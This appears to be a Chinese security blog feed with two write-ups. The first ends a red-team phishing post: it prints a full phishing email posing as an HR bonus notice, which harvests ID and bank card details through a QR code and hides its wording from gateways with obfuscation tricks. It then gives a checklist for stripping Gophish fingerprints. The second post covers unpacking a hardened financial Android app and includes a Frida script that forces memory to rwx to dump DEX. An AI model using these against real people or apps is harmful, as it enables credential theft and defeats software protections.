     kZzD6KfhQTovwbCXhFTfdRcyK41+SgliRUDYScDYYGm0MsS9fwbFiR4CXVWo1YgM2VrpVwyue5XjR
     R19d3DrcT1TQiuRxYwRu9mtpvcb0VfQk7FFTbwAYlDHDxlj1jps41nbB5+1NjCxzC7TqqY0RxoDkO
     OEHs78RTxoPFiFXNidfMRgO9pLPMGqlZB712uvmFdsPlU6utPlQcLSVahZEDX9f9ApsBQPp9VhkuX
     Kk8TpwxnU5rhLe3zEN7DQzwWu/K4E5eTlF4m1jy5t0g1CDoZr2ecXqQd5uKvS3hYHd8tpnD6TX2zt
     gC9Mkyhc5oDat3jQseqnXusy14SXMJPsItTwqL1EDb9erVLJLONGO3KuLxkrb0YPdWt3AwkEWuBiL
     ZcUUt3jBx0audqaC0u9paBZ8vvwltxJZTmwegZ5FAW69+oeB+4Q45nuyc1Pm5+0OEJK30dpyOf4mc
     dzWvVBeAdVY6bVUEqx2zGOIpFKQykyyUpUZGG2yraXdYbjBn1dk+eTXribt0eFmRLQSou4M3czXlC
     6ekmu37Bx1tiyZ9dxXQmHyDphZrK8E2JZzdlCHfAMYM3oWNNF9Q2YC64XXfdQ8bS1djGbeZK76RdK
     +3KT8i7qPVIJs/xmF2BiRh8SHj8Rfo5L9CVYsjBjLoik0Z+v0Qul9KCGkYzU7iTRhfeZuROTV88B2
     H3F7wi+vl/cf79VdPGjpWl8VU/Za36q+iBWxFMb5Sc5Bx1YfFEdB3qubGzls9jZk+Yo217HkiM0Pp
     DoIDhKA==
Authentication-Results: mx.qq.com; spf=pass(10.10.10.10) smtp.mailfrom=<attac
     ker@phishing-sample.com>; dkim=pass(signature was verified) header.d=phishing-sample
     .com; dmarc=none(permerror) header.from=phishing-sample.com
Received: from sender2-of-o52.zoho.com.cn (sender2-of-o52.zoho.com.cn [10.10.10.10])
    by newxmmxszgpub7-0.qq.com (NewMX) with SMTP id CFAB30D5
    for <victim@target-corp.com>; Tue, 30 Dec 2025 22:51:58 +0800
X-QQ-mid: xmmxpub7-0t1767106318tz15pdly0
ARC-Seal: i=1; a=rsa-sha256; t=1767106318; cv=none; 
    d=zoho.com.cn; s=zohoarc; 
    b=Cr9zGNGt6SmOyaOExLBF5Vamm2EodQCAnGOtcY2lxYYmfq7+Y15ik/LtGTNoPu2GmBisVRObqpb0ujuxHbuAF+2t8MX0qX5Ap81H0TxbEtOztJ1XKmgClRLVAfOKI7k0bWPtlKND0+Br0GbV6MnVP8+U3Sww5OE6lLTL9PVQAQ4=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zoho.com.cn; s=zohoarc; 
    t=1767106318; h=Content-Type:Date:Date:From:From:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To:Cc; 
    bh=EXFBatn4DZE55Q9xe5N7S1wO1Hgsnd9GCvuHLHc756s=; 
    b=ePilPBFjFYRTvolrtPQJCF1sKpoZujYKnys35RzA+NfsuolFUk7u7YSo4O1Rdqb+DEJT7v/Me4f+0OUZqd7YudGBxePKI0WOJtJJ1VI8Hi1gByLP3QZ6qFUERu/18SuRgf3zg8Lc45pQlm814IP0aVdFunCv1D3QJiLkKpdo/rc=
ARC-Authentication-Results: i=1; mx.zoho.com.cn;
    dkim=pass  header.i=phishing-sample.com;
    spf=pass  smtp.mailfrom=attacker@phishing-sample.com;
    dmarc=pass header.from=<attacker@phishing-sample.com>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1767106318;
    s=zmail; d=phishing-sample.com; i=attacker@phishing-sample.com;
    h=Mime-Version:Date:Date:MIME-Version:Message-Id:Message-Id:Subject:Subject:From:From:To:To:Content-Type:Reply-To:Cc;
    bh=EXFBatn4DZE55Q9xe5N7S1wO1Hgsnd9GCvuHLHc756s=;
    b=i9TDdZR7RL5FN1BcZmOQ6XXVOYQLQF5HCoT0Nu3eI4vqmbpipLzizPr+OFeyc85O
    C4Wf6G7MNUrR4ZJkGR5MH0NewHPrmQUUB9EwraMGx2bEBA1fmRdMbSzw66cvkwqOTJK
    //Ub/3mVpvQdwXgQ17e8VTS71iBAFkEIxDcqSLZg=
Received: by mx.zoho.com.cn with SMTPS id 1767106315677324.8435548055967;
    Tue, 30 Dec 2025 22:51:55 +0800 (CST)
Mime-Version: 1.0
Date: Tue, 30 Dec 2025 22:51:55 +0800
X-Priority: 1
MIME-Version: 1.0
Message-Id: <1767106315726641989.371082.1021737665213280689@hcss-ecs-18a4>
Key: X-Mailer
Value: Zoho Mail
Subject: =?UTF-8?q?=E5=85=B3=E4=BA=8E2025=E5=B9=B4=E5=BA=A6=E8=A1=8C=E6=94=BF?= =?UTF-8?q?=E9=80=9A=E7=9F=A5-HR?=
From: attacker@phishing-sample.com
Importance: High
To: victim@target-corp.com
Content-Type: multipart/related;
 boundary=337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
X-ZohoCN-Virus-Status: 1
X-ZohoCN-Virus-Status: 1
X-Zoho-AV-Stamp: zmail-av-1.4.3/267.84.63
X-ZohoCNMailClient: External

--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
Content-Type: multipart/alternative;
 boundary=19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d

--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8

=E5=85=B3=E4=BA=8E=E5=90=AF=E5=8A=A82025=E5=B9=B4=E5=BA=A6 =E9=87=91=E5=A5=
=96=E7=BB=88=E5=B9=B4 =E5=8F=91=E6=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=
=88=E6=A0=B8=E5=AF=B9=E7=9A=84=E9=80=9A =E7=9F=A5

=E5=90=84=E4=BD=8D=E5=90=8C=E4=BA=8B=EF=BC=8C=E6=82=A8=E5=A5=BD=EF=BC=9A

2025=E5=B9=B4=E5=BA=A6=E5=B7=A5=E4=BD=9C=E5=B7=B2=E5=9C=86=E6=BB=A1=E7=BB=
=93=E6=9D=9F=EF=BC=8C=E6=84=9F=E8=B0=A2=E5=A4=A7=E5=AE=B6=E4=B8=80=E5=B9=B4=
=E6=9D=A5=E7=9A=84=E8=BE=9B=E5=8B=A4=E4=BB=98=E5=87=BA=E3=80=82=E7=8E=B0=E6=
=AD=A3=E5=BC=8F=E5=90=AF=E5=8A=A8=E5=B9=B4=E7=BB=88=E5=A5=96=E9=87=91 =E5=
=8F=91=E6=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E5=B7=
=A5=E4=BD=9C=EF=BC=81=E6=9C=AC=E6=AC=A1 =E5=A5=96=E7=BB=88=E5=B9=B4 =E5=B0=
=86=E6=8C=89=E6=9C=80=E6=96=B0=E8=96=AA=E9=85=AC =E6=A0=87=E5=87=86=E6=A0=
=B8=E7=AE=97=EF=BC=8C=E5=8C=85=E5=90=AB=E7=BB=A9=E6=95=88 =E5=A5=96=E9=87=
=91=E3=80=81=E5=B9=B4=E7=BB=88=E5=88=86=E7=BA=A2 =E7=AD=89=E5=A4=9A=E9=A1=
=B9=E8=A1=A5=E8=B4=B4=E3=80=82

*=E9=87=8D=E8=A6=81=E6=8F=90=E9=86=92=EF=BC=9A* =E5=9B=A0 =E7=BB=9F=E7=B3=
=BB=E5=8A=A1=E8=B4=A2 =E5=B9=B4=E7=BB=88=E5=85=B3=E8=B4=A6=E5=80=92=E8=AE=
=A1=E6=97=B6=EF=BC=88=E6=88=AA=E6=AD=A2 12=E6=9C=8829=E6=97=A518:00 =EF=BC=
=89=EF=BC=8C=E6=9C=AA=E5=AE=8C=E6=88=90=E4=BF=A1=E6=81=AF=E6=A0=B8=E5=AF=B9=
=E7=9A=84=E5=90=8C=E4=BA=8B=EF=BC=8C=E5=B0=86 =E5=BB=B6=E8=BF=9F=E8=87=B3=
=E6=AC=A1=E5=B9=B41=E6=9C=88=E5=8F=91=E6=94=BE =EF=BC=81=E4=B8=BA=E9=81=BF=
=E5=85=8D=E5=BD=B1=E5=93=8D=E4=BD=A0=E7=9A=84=E5=A5=96=E9=87=91=E5=8F=91=E6=
=94=BE=E6=97=B6=E6=95=88=EF=BC=8C=E8=AF=B7=E5=8A=A1=E5=BF=85=E5=9C=A824=E5=
=B0=8F=E6=97=B6=E5=86=85=E5=AE=8C=E6=88=90=E3=80=82

*=E6=A0=B8=E5=AF=B9=E6=93=8D=E4=BD=9C=E6=8C=87=E5=BC=95=EF=BC=9A*

* =E8=AF=B7=E6=89=AB =E6=8F=8F=E4=B8=8B=E6=96=B9=E4=BA=8C _ =E7=BB=B4 _ =E7=
=A0=81=E7=99=BB =E5=BD=95=E7=B3=BB=E7=BB=9F=EF=BC=9A

* =E8=BE=93=E5=85=A5=E5=A7=93=E5=90=8D=E5=8F=8A=E5=B7=A5=E5=8F=B7=E7=99=BB=
=E5=BD=95=E7=B3=BB=E7=BB=9F=E3=80=82
* =E6=A0=B8=E5=AF=B9=E4=B8=AA=E4=BA=BA=E5=A7=93=E5=90=8D=E3=80=81=E8=BA=AB =
=E4=BB=BD =E8=AF=81=E5=8F=B7=E3=80=81=E9=93=B6. =E8=A1=8C. =E5=8D=A1=E5=8F=
=B7=E5=8F=8A=E5=BC=80=E6=88=B7=E8=A1=8C=E4=BF=A1=E6=81=AF=EF=BC=8C=E7=A1=AE=
=E8=AE=A4=E6=97=A0=E8=AF=AF=E5=90=8E=E6=8F=90=E4=BA=A4=EF=BC=9B=E4=BF=A1=E6=
=81=AF=E6=9C=89=E8=AF=AF=E8=AF=B7=E5=8F=8A=E6=97=B6=E4=BF=AE=E6=94=B9=E5=B9=
=B6=E4=B8=8A=E4=BC=A0=E4=BD=90=E8=AF=81=E6=9D=90=E6=96=99=E3=80=82
*=E6=B8=A9=E9=A6=A8=E6=8F=90=E7=A4=BA=EF=BC=9A*

* =E7=B3=BB=E7=BB=9F=E4=BB=85=E6=94=AF=E6=8C=81PC=E7=AB=AF=E8=AE=BF=E9=97=
=AE=EF=BC=8C=E5=BB=BA=E8=AE=AE=E4=BD=BF=E7=94=A8=E5=85=AC=E5=8F=B8=E5=86=85=
=E7=BD=91=E6=93=8D=E4=BD=9C=E3=80=82
* =E5=A6=82=E9=81=87=E9=93=BE=E6=8E=A5=E6=97=A0=E6=B3=95=E6=89=93=E5=BC=80=
=E3=80=81=E7=99=BB=E5=BD=95=E5=A4=B1=E8=B4=A5=E7=AD=89=E9=97=AE=E9=A2=98=EF=
=BC=8C=E8=AF=B7=E8=81=94=E7=B3=BB=EF=BC=9Ahr-contact@target-corp.com

=E4=BA=BA=E5=8A=9B=E8=B5=84=E6=BA=90=E9=83=A8

2025=E5=B9=B412=E6=9C=8828=E6=97=A5
--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang=3D"zh-CN">

<head>
    <meta charset=3D"UTF-8">
    <meta name=3D"viewport" content=3D"width=3Ddevice-width, initial-scale=
=3D1.0">
    <title>2025=E9=80=9A=E7=9F=A5</title>
    <style>
        /* =E5=9F=BA=E7=A1=80=E6=A0=B7=E5=BC=8F=E9=87=8D=E7=BD=AE */
        body {
            font-family: 'Microsoft YaHei', 'PingFang SC', Arial, sans-seri=
f;
            line-height: 1.6;
            color: #333333;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }

        .container {
            max-width: 600px;
            margin: 20px auto;
            background-color: #ffffff;
            padding: 40px;
            border-top: 4px solid #0056b3;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
        }

        .header {
            font-size: 18px;
            font-weight: bold;
            margin-bottom: 20px;
            border-bottom: 1px solid #eeeeee;
            padding-bottom: 10px;
        }

        .content {
            font-size: 14px;
        }

        .highlight-box {
            background-color: #fff8e1;
            border: 1px solid #ffecb3;
            color: #856404;
            padding: 15px;
            margin: 15px 0;
            border-radius: 4px;
        }

        .urgent {
            color: #d9534f;
            font-weight: bold;
        }

        .btn-link {
            color: #0056b3;
            text-decoration: underline;
            font-weight: bold;
        }

        .step-list {
            margin-bottom: 20px;
        }

        .step-list li {
            margin-bottom: 8px;
        }

        .footer {
            margin-top: 30px;
            padding-top: 20px;
            border-top: 1px solid #eeeeee;
            font-size: 14px;
            text-align: right;
            color: #666666;
        }

        .tips {
            font-size: 12px;
            color: #888;
            margin-top: 15px;
            background-color: #f9f9f9;
            padding: 10px;
        }

        /* =E6=B7=B7=E6=B7=86=E4=B8=93=E7=94=A8=E6=A0=B7=E5=BC=8F=EF=BC=9A=
=E6=96=87=E5=AD=97=E5=8F=8D=E8=BD=AC */
        .safe-txt {
            unicode-bidi: bidi-override;
            direction: rtl;
        }
    </style>
</head>
<body>
    <div class=3D"container">
        <div class=3D"header">
                        =E5=85=B3=E4=BA=8E=E5=90=AF=E5=8A=A82025=E5=B9=B4=E5=BA=A6<span=
 class=3D"safe-txt">=E9=87=91=E5=A5=96=E7=BB=88=E5=B9=B4</span>=E5=8F=91=E6=
=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E7=9A=84=E9=80=
=9A=E7=9F=A5
        </div>
        <div class=3D"content">
            <p>=E5=90=84=E4=BD=8D=E5=90=8C=E4=BA=8B=EF=BC=8C=E6=82=A8=E5=A5=
=BD=EF=BC=9A</p>
            <p>2025=E5=B9=B4=E5=BA=A6=E5=B7=A5=E4=BD=9C=E5=B7=B2=E5=9C=86=
=E6=BB=A1=E7=BB=93=E6=9D=9F=EF=BC=8C=E6=84=9F=E8=B0=A2=E5=A4=A7=E5=AE=B6=E4=
=B8=80=E5=B9=B4=E6=9D=A5=E7=9A=84=E8=BE=9B=E5=8B=A4=E4=BB=98=E5=87=BA=E3=80=
=82=E7=8E=B0=E6=AD=A3=E5=BC=8F=E5=90=AF=E5=8A=A8&#x5E74;&#x7EC8;&#x5956;&#x=
91D1;=E5=8F=91=E6=94=BE=
=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E5=B7=A5=E4=BD=9C=EF=
=BC=81=E6=9C=AC=E6=AC=A1<span
                    class=3D"safe-txt">=E5=A5=96=E7=BB=88=E5=B9=B4</span>=
=E5=B0=86=E6=8C=89=E6=9C=80=E6=96=B0&#x85AA;&#x916C;=E6=A0=87=E5=87=86=E6=A0=B8=E7=AE=97=EF=BC=8C=E5=8C=85=E5=90=AB&#x7EE9;=
&#x6548;=E5=A5=96=E9=87=91=E3=80=81&#x5E74;&#x7E=
C8;&#x5206;&#x7EA2;=E7=AD=89=
=E5=A4=9A=E9=A1=B9=E8=A1=A5=E8=B4=B4=E3=80=82
            </p>
            <div class=3D"highlight-box">
                <strong>=E9=87=8D=E8=A6=81=E6=8F=90=E9=86=92=EF=BC=9A</stro=
ng>=E5=9B=A0<span class=3D"safe-txt">=E7=BB=9F=E7=B3=BB=E5=8A=A1=E8=B4=A2</=
span>=E5=B9=B4=E7=
=BB=88=E5=85=B3=E8=B4=A6=E5=80=92=E8=AE=A1=E6=97=B6=EF=BC=88=E6=88=AA=E6=AD=
=A2 <span
                    class=3D"urgent">12=E6=9C=8829=E6=97=A518:00</span>=EF=
=BC=89=EF=BC=8C=E6=9C=AA=E5=AE=8C=E6=88=90=E4=BF=A1=E6=81=AF=E6=A0=B8=E5=AF=
=B9=E7=9A=84=E5=90=8C=E4=BA=8B=EF=BC=8C=E5=B0=86<span
                    class=3D"urgent">=E5=BB=B6=E8=BF=9F=E8=87=B3=E6=AC=A1=
=E5=B9=B41=E6=9C=88=E5=8F=91=E6=94=BE</span>=EF=BC=81=E4=B8=BA=E9=81=BF=E5=
=85=8D=E5=BD=B1=E5=93=8D=E4=BD=A0=E7=9A=84=E5=A5=96=E9=87=91=E5=8F=91=E6=94=
=BE=E6=97=B6=E6=95=88=EF=BC=8C=E8=AF=B7=E5=8A=A1=E5=BF=85=E5=9C=A824=E5=B0=
=8F=E6=97=B6=E5=86=85=E5=AE=8C=E6=88=90=E3=80=82
            </div>
            <p><strong>=E6=A0=B8=E5=AF=B9=E6=93=8D=E4=BD=9C=E6=8C=87=E5=BC=
=95=EF=BC=9A</strong></p>
            <ol class=3D"step-list">
                                <li>=E8=AF=B7=E6=89=AB=E6=8F=8F=E4=B8=8B=E6=96=
=B9=E4=BA=8C<span style=3D"display:none">_</span>=E7=BB=B4<span
                        style=3D"display:none">_</span>=E7=A0=81=E7=99=BB<!=
-- login -->=E5=BD=95=E7=B3=BB=E7=BB=9F=EF=BC=9A<br><img src=3D"cid:4279681=
432.png"></li>
                <li>=E8=BE=93=E5=85=A5=E5=A7=93=E5=90=8D=E5=8F=8A=E5=B7=A5=
=E5=8F=B7=E7=99=BB=E5=BD=95=E7=B3=BB=E7=BB=9F=E3=80=82</li>
                                <li>=E6=A0=B8=E5=AF=B9=E4=B8=AA=E4=BA=BA=E5=A7=93=E5=90=8D=
=E3=80=81=E8=BA=AB=E4=BB=BD=E8=AF=81=E5=8F=B7=E3=80=
=81=E9=93=B6<span style=3D"font-size:0">.</span>=E8=A1=8C<span
                        style=3D"font-size:0">.</span>=E5=8D=A1=E5=8F=B7=E5=
=8F=8A=E5=BC=80=E6=88=B7=E8=A1=8C=E4=BF=A1=E6=81=AF=EF=BC=8C=E7=A1=AE=E8=AE=
=A4=E6=97=A0=E8=AF=AF=E5=90=8E=E6=8F=90=E4=BA=A4=EF=BC=9B=E4=BF=A1=E6=81=AF=
=E6=9C=89=E8=AF=AF=E8=AF=B7=E5=8F=8A=E6=97=B6=E4=BF=AE=E6=94=B9=E5=B9=B6=E4=
=B8=8A=E4=BC=A0=E4=BD=90=E8=AF=81=E6=9D=90=E6=96=99=E3=80=82</li>
            </ol>
            <div class=3D"tips">
                <strong>=E6=B8=A9=E9=A6=A8=E6=8F=90=E7=A4=BA=EF=BC=9A</stro=
ng>
                <ul style=3D"padding-left: 20px; margin: 5px 0;">
                    <li>=E7=B3=BB=E7=BB=9F=E4=BB=85=E6=94=AF=E6=8C=81PC=E7=
=AB=AF=E8=AE=BF=E9=97=AE=EF=BC=8C=E5=BB=BA=E8=AE=AE=E4=BD=BF=E7=94=A8=E5=85=
=AC=E5=8F=B8=E5=86=85=E7=BD=91=E6=93=8D=E4=BD=9C=E3=80=82</li>
                    <li>=E5=A6=82=E9=81=87=E9=93=BE=E6=8E=A5=E6=97=A0=E6=B3=
=95=E6=89=93=E5=BC=80=E3=80=81=E7=99=BB=E5=BD=95=E5=A4=B1=E8=B4=A5=E7=AD=89=
=E9=97=AE=E9=A2=98=EF=BC=8C=E8=AF=B7=E8=81=94=E7=B3=BB=EF=BC=9Ahr-contact@t=
arget-corp.com</li>
                </ul>
            </div>
        </div>
        <div class=3D"footer">
            <p>&#x4EBA;&#x529B;&#x8D44;&#x6E90;&#x90E8;</p>            <p>2025=E5=B9=B412=E6=9C=8828=E6=97=A5</p>
        </div>
    </div>

<img alt=3D'' style=3D'display: none' src=3D'http://10.10.10.11/resourc=
e/image/pixel.png?id=3DsjD8aL5'/></body>
</html>
--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d--

--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
Content-Disposition: inline; filename="4279681432.png"
Content-ID: <4279681432.png>
Content-Transfer-Encoding: base64
Content-Type: image/png; name="4279681432.png"

iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==
--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e--

‍```

AI分析如下：

开始大批量的进行安全测试：

‍

0x07 后记

这次从0到1的绕过之旅，历时4天，最终完成这个需求。

随着AI技术的发展，邮件网关的检测能力会越来越强。下一步的研究方向可能包括：

利用合法平台（如Google Docs、OneDrive）进行跳转
转向SMS钓鱼（Smishing）等其他渠道

安全对抗是一场永无止境的竞赛。保持学习，持续创新。

附录

A. Gophish改造Checklist

- [ ] 移除 config.go 中的 ServerName
- [ ] 修改 models/email_request.go
  - [ ] 删除 X-Gophish-* 头
  - [ ] 伪造 X-Mailer
  - [ ] 添加业务邮件头
- [ ] 修改 models/campaign.go
  - [ ] 将 RecipientParameter 改为 "id"
- [ ] 修改 webhook/webhook.go
  - [ ] 重命名 SignatureHeader
- [ ] 修改 controllers/route.go
  - [ ] 混淆 /track 路由
  - [ ] 混淆 /report 路由
- [ ] 修改 controllers/phish.go
  - [ ] 实现 FakeNginx404
  - [ ] 添加 QR code 生成端点（可选）
- [ ] 修改 static/ 和 templates/
  - [ ] 重命名 gophish.css → app.css
  - [ ] 更新所有引用
- [ ] 测试构建和运行

B. 参考资源

Gophish官方资源

Gophish二次开发与改造

Sprocket Security - Customizing Gophish - 详细介绍Gophish去指纹化改造方法
EvilGoPhish - Gophish与Evilginx3集成方案，支持MFA绕过
sneaky_gophish - Docker化的隐蔽Gophish部署方案
FreeBuf - Gophish钓鱼平台二次开发 - 二维码替换功能实现
CSDN - 基于Gophish的钓鱼渗透测试平台 - 平台化二次开发思路

Evilginx与MFA绕过

Evilginx2 官方GitHub - 高级中间人钓鱼框架
Evilginx3 文档 - 最新版本使用指南
outpost24 - Evilginx与Gophish组合使用 - 红队钓鱼基础设施搭建

邮件网关绕过技术

红队钓鱼实战

Red Team Cafe - Phishing Infrastructure - 红队钓鱼基础设施搭建
HackenProof - Advanced Phishing Techniques - 高级钓鱼技术
腾讯安全 - 钓鱼演练工具Gophish部署 - 企业钓鱼演练实践

END

‍

记一次失败的逆向Android 16+数字加固+FlutterAPP踩坑

Sun, 25 Jan 2026 00:00:00 GMT

这篇文章是我对近期分析“某金融”APP（v5.x 版本）的全过程复盘。

事先声明：本人完全没有搞过 Android 逆向，仅仅也只是会用工具的初学者，有很多内容和想法都在 AI 的辅助下完成，避免不了出现勘误，感激不尽。

本次逆向的背景极其特殊：目标运行在 Android 16 系统上，使用了 Frida 17.5.1，且 APP 不仅加了 360 强力壳，核心业务逻辑还是基于 Flutter 开发的。

这就导致了一个有趣的现象：我原本准备好的“Java 层脱壳三板斧”全部失效，被迫转战 Native 层，最后还要解决高版本安卓的权限和环境问题。为了防止自己（或者后来的读者）忘掉这些基础操作，我也把最基础的环境搭建步骤记录在了第一部分。

分析目标： Android APP

运行环境：Google Pixel (Android 16), Magisk Root

工具链：Frida 17.5.1, Blutter, SoFixer, JADX, Kali

第一阶段：常规开局与基础脱壳教程

拿到 APK 后，查壳确认为 360 加固。按照惯例，面对一代或二代壳，最快的办法就是利用 frida-dexdump 从内存中暴力搜索并导出 DEX 文件。

1.1 基础工具：frida-dexdump 使用指南

虽然这次在这个 APP 上栽了跟头，但这套流程对付大多数普通加固非常有效，这里先做一个备忘录。

原理：

360 加固虽然会加密本地的 DEX 文件，但在 APP 运行时，必须把 DEX 解密加载到内存中给虚拟机执行。frida-dexdump 就是利用 Frida 脚本在内存中搜索 DEX 文件的特征头（dex\n035），然后把它“扣”出来。

这对于对付一代壳（整体加固）非常有效，对于部分二代壳（函数抽取）也能把整体结构 Dump 下来（虽然方法体可能是空的）。

以下是详细的使用步骤：

1. 环境准备 (至关重要)

在使用 frida-dexdump 之前，你必须确保你的 Frida 环境是通的。

PC 端：
- 安装 Frida 工具包：pip3 install frida-tools
- 安装 DexDump：pip3 install frida-dexdump
手机/模拟器端：
- 手机需要 Root。
- 手机里必须运行 frida-server，且版本最好与 PC 端的 Frida 版本一致。
- 确保 ADB 连接正常 (adb devices 能看到设备)。

2. 基本使用模式

frida-dexdump 支持两种主要模式：Spawn（启动模式） 和 Attach（附加模式） 。

模式 A：附加模式 (推荐)

适用于应用已经运行，或者你需要手动绕过一些启动时的检测后再进行 Dump。

在手机上手动打开目标 App，让它停留在主界面（此时壳代码通常已经运行完毕，DEX 已解密加载到内存）。
在电脑终端运行命令：
Bash

# -U 表示连接 USB 设备
# -F 表示自动附加到当前最前端显示的 App (Front-most)
frida-dexdump -U -F

或者指定包名/进程名： Bash

frida-dexdump -U -n <App包名或进程名>

模式 B：启动模式 (Spawn)

适用于 App 启动速度很快，或者你需要在 App 启动的一瞬间就介入。但对于强壳，Spawn 模式容易被反调试检测到。

Bash

# -f 后跟包名，会自动重启 App 并注入
frida-dexdump -U -f com.example.targetapp

3. 常用参数详解

-o <路径> (Output): 指定导出的 DEX 文件保存的文件夹。如果不写，默认会以包名在当前目录生成文件夹。
-d (Deep Search): 深度搜索模式。如果普通模式 Dump 不全或者找不到，加上这个参数。它会扫描更多内存段，速度会慢一些，但更全面。
--sleep <秒数>: 在启动 App 后等待多少秒再开始 Dump。有些壳解密比较慢，可以设置延时等待解密完成。

4. 结果分析

运行成功后，终端会显示类似 [INFO] DexSize=xxxx, SavePath=... 的日志。

打开生成的文件夹。
你会看到多个 .dex 文件（如 classes.dex, classes2.dex...）。
如何辨别哪个是原本的 DEX？
- 看大小：通常最大的那个，或者几 MB 大小的，是业务逻辑所在的 DEX。
- 使用工具查看：使用 Jadx 打开这些 DEX 文件。
  - 如果看到包名是 com.qihoo.util 或类似的，那是壳的代码。
  - 如果看到了目标 App 的真实包名和业务代码，那就是脱壳成功了。

5. frida-dexdump注意事项

使用 frida-dexdump 可能会遇到以下情况：

能 Dump 出结构，但方法是空的 (nop) ：这是因为有些加密壳使用了函数抽取技术。DEX 文件结构在内存里是完整的，但是具体的方法指令（Code Item）在执行前是空的，只有执行该方法时才临时解密填入，执行完又抹掉。
- 表现：用 Jadx 打开 Dump 出来的 DEX，能看到类名和方法名，但点进方法看代码时，全是空的或者只有 return。
- 对策：这时候 frida-dexdump 就不够用了，通常需要使用更高级的基于 ART 运行时的主动调用工具（如 FART、Youpk 等）来通过遍历调用所有函数强行触发解密。
反调试导致闪退：如果运行 frida-dexdump 时 App 闪退，说明被检测到了。
- 对策：你需要先用 Frida 脚本（如 frida-il2cpp-bridge 带的 bypass 或者是专门的 Anti-Anti-Frida 脚本）去过掉反调试，或者使用魔改版的 frida-server (hluda)。

总结

frida-dexdump 是脱壳的第一板斧。不管什么壳，先用它跑一遍（建议加 -d 参数）。运气好能直接拿代码；运气不好（遇到抽取壳），也能拿到完整的类结构，为后续分析打下基础。

环境准备：

PC 端：
手机端：
- 手机必须 Root。
- 手机里运行 frida-server（版本必须和电脑端的 frida-tools 一致）。
- 确保 ADB 连接正常 (adb devices 能看到设备)。

操作步骤：

在手机上点击打开目标 APP，让它停留在主界面。
在电脑终端输入命令（推荐使用附加模式，比较稳）：
如果成功，工具会在当前目录下生成一个以包名命名的文件夹，里面就是脱下来的 .dex 文件。

预期结果：在文件夹中生成一堆 .dex 文件。实际结果：终端直接报红，进程崩溃。

ERROR:frida-dexdump:[-] Error: access violation accessing 0x70316bc000

为什么会失败？

这是 Android 16 新特性与 360 加固对抗的产物。

内存权限收紧：Android 16 对内存页的权限管理极其严格。
加固对抗：360 加固在解密 DEX 后，故意将这段内存页的权限设置为 “仅执行” (x) 或 “不可读” 。
冲突：当 frida-dexdump 试图通过 readByteArray 去读取这段内存时，因为没有 r (Read) 权限，触发了系统的 Access Violation（访问违规），导致脚本或应用崩溃。

0x02 破局：手写脚本“暴力”提权

既然标准工具因为“权限不足”读不到，接下来思路很明确：我是 Root 用户，我可以在读取之前，强行修改内存权限。

我编写了一个自定义的 Frida 脚本 dump_force.js。

核心逻辑

利用 Process.enumerateRanges 遍历所有内存段。
利用 Memory.scan 暴力搜索 DEX 文件头魔法数 64 65 78 0a (dex\n)。
关键步骤：在读取之前，使用 Memory.protect 将该内存段强制改为 rwx (可读可写可执行)。
读取数据并保存到 SD 卡。

完整代码实现

// dump_force.js - 暴力修改权限脱壳脚本

function write_dex(ptr, len, index) {
    // 保存路径：/sdcard/Download/，方便后续 adb pull
    var filename = "/sdcard/Download/dump_" + ptr + "_" + len + ".dex";
    var file = new File(filename, "wb");
    
    try {
        // 尝试直接读取（如果是普通的内存段）
        var buffer = ptr.readByteArray(len);
        file.write(buffer);
        console.log("[*] 正常读取成功: " + filename);
    } catch (e) {
        // 捕获 Access Violation 错误
        console.log("[-] 读取受阻 (360保护)，准备暴力破拆权限...");
        
        try {
            // 【核心操作】强行修改内存页权限为 rwx
            // ptr: 内存起始地址
            // len: 大小
            Memory.protect(ptr, len, 'rwx');
            
            // 再次尝试读取
            var buffer = ptr.readByteArray(len);
            file.write(buffer);
            console.log("[+] 权限修改成功！文件已抢救: " + filename);
        } catch (e2) {
            console.log("[!] 彻底失败，可能是内核级保护或无效地址: " + e2);
        }
    }
    file.close();
}

function scan_dex() {
    console.log("[*] 开始全内存暴力扫描 DEX 头...");
    
    // 遍历所有“可读”内存段 (r--)，这通常是 DEX 存放的区域
    // 如果 360 把 DEX 藏在不可读区域，这里参数可以改为 '---' 或 'r-x'
    Process.enumerateRanges('r--').forEach(function (range) {
        try {
            // 搜索 DEX 特征头: dex\n (64 65 78 0a)
            // 360 可能会抹掉版本号(035)，所以只搜前4个字节
            Memory.scan(range.base, range.size, "64 65 78 0a", {
                onMatch: function (address, size) {
                    // 简单的校验：DEX 文件偏移 0x20 处存放了文件大小
                    try {
                        var dex_size = address.add(0x20).readUInt();
                        
                        // 过滤掉太小的垃圾数据 (小于 100KB)
                        if (dex_size > 100000 && dex_size < 50000000) {
                            console.log("[+] 发现 DEX 魔法数: " + address + " 大小: " + dex_size);
                            // 执行导出
                            write_dex(address, dex_size, address.toString());
                        }
                    } catch (e) {}
                },
                onError: function (reason) {},
                onComplete: function () {}
            });
        } catch (e) {}
    });
}

setImmediate(scan_dex);

执行结果

